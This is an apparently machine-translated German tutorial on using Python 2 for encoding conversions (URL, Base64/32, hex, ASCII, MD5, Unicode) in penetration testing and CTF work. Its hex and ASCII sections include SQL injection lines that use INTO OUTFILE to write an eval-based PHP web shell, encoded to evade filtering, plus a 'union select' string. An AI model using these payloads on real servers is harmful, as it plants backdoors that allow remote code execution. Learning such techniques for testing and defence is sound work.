Heim  >  Artikel  >  Backend-Entwicklung  >  Detaillierte Erläuterung von Beispielen für die Codierungskonvertierung in Python

Detaillierte Erläuterung von Beispielen für die Codierungskonvertierung in Python

Y2J
Y2JOriginal
2017-05-03 15:52:491516Durchsuche

Bei der täglichen Penetration, beim Schwachstellen-Mining und sogar bei CTF-Wettbewerben werden Sie auf verschiedene Kodierungen stoßen, oft begleitet von verschiedenen Konvertierungen zwischen diesen Kodierungen. Der folgende Artikel stellt hauptsächlich die relevanten Informationen zur wunderbaren Verwendung der Codierungskonvertierung in Python vor. Lassen Sie uns gemeinsam einen Blick darauf werfen.

Vorwort

Ich erinnere mich, als ich anfing, war das Problem der Kodierungskonvertierung oft „Baidu: URL-Dekodierung, Base64-Verschlüsselung, Hex.“ ...“ oder verwenden Sie eine Software namens „Xiaokui Multi-Function Conversion Tool“ und verwenden Sie dann direkt die Decoder-Funktion von Burpsuite, was sich recht gut anfühlt. Allerdings sind wir auch auf einige Probleme gestoßen: geringe Online-Konvertierungseffizienz (die Suche nimmt zwei Drittel der Zeit in Anspruch) und es gibt einige kleinere Probleme mit den beiden Tools. Beispielsweise zeigt Burp bei chinesischen Schriftzeichen oft verstümmelte Zeichen an.



Bis ich Python als mein tägliches Codierungskonvertierungstool verwendete...

Starten Sie die Reise zur Py-Konvertierung

URL-Kodierung

URL-Kodierung ist eine verwendete Verpackungsart Von Browsern aus kann man sagen, dass das Format der Formulareingabe die bekannteste Codierungsmethode für einen Web-Menschen ist.

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64 wird häufig als Parameter für Webformulare und HTTP-Übertragung verwendet und wird auch häufig für E-Mail-Protokolle zur Benutzerübertragung verwendet Informationen usw.

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

Ich erinnere mich, dass ich in einem CTF-Wettbewerb auf Base32-Entschlüsselung getestet wurde. Die meisten Websites boten keine Online-Entschlüsselung an und es schien, dass es keine Möglichkeit gab, fortzufahren. Wenn Sie jedoch Python verwenden, ist die Entschlüsselung von base64 genauso einfach wie oben. Sie müssen nur die Funktion ändern:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

Hex Die Kodierung ist auch ein gängiges Kodierungsschema in Webanwendungen. Als Web-Sicherheitsexperte sind wir uns bewusst, dass MySQL-Injection Hex verwenden kann, um die htmlspecialchars()-Funktion zu umgehen und in die Webshell zu schreiben.

Zum Beispiel:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

So implementiert Python die Hex-Verschlüsselung und -Entschlüsselung:

>>> &#39;<?php @eval($_POST[a]); ?>&#39;.encode(&#39;hex&#39;)
&#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;
>>>
>>> print &#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;.decode(&#39;hex&#39;)
<?php @eval($_POST[a]); ?>
>>>

ASCii

Die char()-Funktion in MySQL konvertiert ASCII-Code. Aus diesem Grund können Sie diese Funktion auch verwenden, um die htmlspecialchars()-Funktion zu umgehen.

Zum Beispiel:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile &#39;/web/1.php&#39;

Es ist sehr einfach, Python zum Konvertieren einer Zeichenfolge in ASCII zu verwenden, aber die umgekehrte Konvertierung erfordert einen kleinen Vorgang:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print &#39;&#39;.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5 ist in der Web-Sicherheits-Community bekannt, da es auf den meisten Websites wichtige Daten wie Benutzerkennwörter speichert. MD5-Verschlüsselung wird häufig verwendet. Manchmal benötigen wir eine MD5-Verschlüsselung, um die Nutzlast zu übermitteln. In diesem Fall kann dies einfach mit der folgenden Methode erreicht werden. Natürlich empfiehlt es sich, zur Entschlüsselung cmd5 zu verwenden.

>>> from hashlib import md5
>>> m = md5()
>>> m.update(&#39;this is a secret&#39;)
>>> m.hexdigest()
&#39;7dbbcee180ba4d456e4aa1cfbdad9c7b&#39;

>>> m.hexdigest()[8:-8]
&#39;80ba4d456e4aa1cf&#39;
>>>

Unicode nach Chinesisch

Die Konvertierung von Unicode nach Chinesisch kann in vielen Situationen vorkommen. Besonders wenn es um Penetrationstests geht. Wenn Sie Rülpsen verwenden, tritt ein Problem mit verstümmelten chinesischen Schriftzeichen auf. Die Implementierung unter Python ist sehr einfach.

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

Zusammenfassung

Das obige ist der detaillierte Inhalt vonDetaillierte Erläuterung von Beispielen für die Codierungskonvertierung in Python. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn